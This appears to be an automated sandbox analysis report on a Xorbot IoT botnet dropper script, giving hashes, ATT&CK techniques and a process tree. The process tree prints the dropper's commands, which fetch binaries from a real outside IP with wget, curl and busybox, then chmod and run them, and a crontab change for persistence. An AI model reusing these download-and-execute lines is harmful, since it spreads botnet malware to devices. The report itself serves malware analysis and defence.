xorbot | c8242f14c875afa35b81c88aca43b9616dcb459f5d4bde4c63089ae8a8e41bb4

Analysis

max time kernel
151s
max time network
155s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
02-12-2024 17:27

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General

Target

bins.sh
Size

10KB
MD5

8dd8477a41d76f42eeb1f7c1c86cec30
SHA1

d5707dacacae6f85bcdc053011ca5cca9381e083
SHA256

c8242f14c875afa35b81c88aca43b9616dcb459f5d4bde4c63089ae8a8e41bb4
SHA512

075b27d936a5e688eff44679ee0ba046b6cccbab994934738456b7209c160871a083e8e95b4555d6ae276c10b6ca9c884a6a0870d195675f78acffc29a19f493
SSDEEP

192:09Vvuq1eyOISkUERNddwsFyIA6bnHFANNPQcrrdwTIA6bnBkkUERNANNPQcrI9Vb:09Vvuq1eyOIBFyIA6bnHPIA6bnV9Vvuq

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1804) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmod

pid	Process
737	chmod
744	chmod
838	chmod

Executes dropped EXE 3 IoCs

Processes:

wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyvUvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJPO1PtLU9fp9w20TViApUdqOqVgCfTgTejw

ioc	pid	Process
/tmp/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv	738	wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
/tmp/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ	745	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
/tmp/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw	839	PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw

Renames itself 1 IoCs

Processes:

Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ

pid	Process
746	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.CJoOL2	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJcurlcrontab

description	ioc	Process
File opened for reading	/proc/924/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/963/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/11/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/913/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/959/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/984/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/7/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/752/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/766/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/795/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/810/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/875/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/934/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/940/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/73/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/81/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/769/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/1016/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/1030/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/12/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/919/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/1012/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/808/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/897/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/921/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/956/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/778/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/792/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/802/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/817/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/908/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/1007/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/1013/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/3/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/326/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/787/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/1027/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/1035/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/891/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/915/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/931/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/944/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/799/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/800/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/804/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/770/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/982/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/999/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/707/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/794/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/837/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/867/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/917/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/2/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/472/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/487/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/943/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/987/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/825/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/843/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/864/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
File opened for reading	/proc/920/cmdline	Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlbusyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw	busybox
File opened for modification	/tmp/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv	wget
File opened for modification	/tmp/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv	curl
File opened for modification	/tmp/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv	busybox
File opened for modification	/tmp/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ	wget
File opened for modification	/tmp/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ	curl
File opened for modification	/tmp/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:705
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:712
- /usr/bin/wget
  wget http://216.126.231.240/bins/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
  2⤵
  - Writes file to tmp directory
  PID:714
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:728
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
  2⤵
  - Writes file to tmp directory
  PID:735
- /bin/chmod
  chmod 777 wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
  ./wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
  2⤵
  - Executes dropped EXE
  PID:738
- /bin/rm
  rm wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv
  2⤵
  PID:740
- /usr/bin/wget
  wget http://216.126.231.240/bins/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
  2⤵
  - Writes file to tmp directory
  PID:741
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
  2⤵
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
  2⤵
  - Writes file to tmp directory
  PID:743
- /bin/chmod
  chmod 777 Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
  ./Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:745
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:747
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:748
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:749
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:750
- /bin/rm
  rm Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ
  2⤵
  PID:752
- /usr/bin/wget
  wget http://216.126.231.240/bins/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
  2⤵
  PID:835
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
  2⤵
  PID:836
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
  2⤵
  - Writes file to tmp directory
  PID:837
- /bin/chmod
  chmod 777 PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
  ./PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
  2⤵
  - Executes dropped EXE
  PID:839
- /bin/rm
  rm PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw
  2⤵
  PID:841
- /usr/bin/wget
  wget http://216.126.231.240/bins/UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp
  2⤵
  PID:842
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UZ8QJZT2ohLXr91t2UIrHMrrrSrJLSMAnp
  2⤵
  PID:847

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/PO1PtLU9fp9w20TViApUdqOqVgCfTgTejw

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/Uvk6QaxqyfjxeUbcy2AyTezpBOVqUqW8uJ

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/wgxC23Z3v0EX3MNoKUsDvHRYAcvpDAluyv

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.CJoOL2

Filesize
210B

MD5
a257b5790f2f9a4b83b68831b39e3779

SHA1
b13bd4c0d31515e5eab92d2bc570220e6f9ba6ce

SHA256
d2f403fa83eaaf855828519b8cc0203c40d5c2845b8738d1f814198464902126

SHA512
adb14660ee033a022f545df127ea77b70f031362e4fdb15aad2c8b48ca07a8ba6c94de43a42ab391d484ee12e1fb439325494ef7d6171bb1b5eeab1723bb2b2c

Download Submit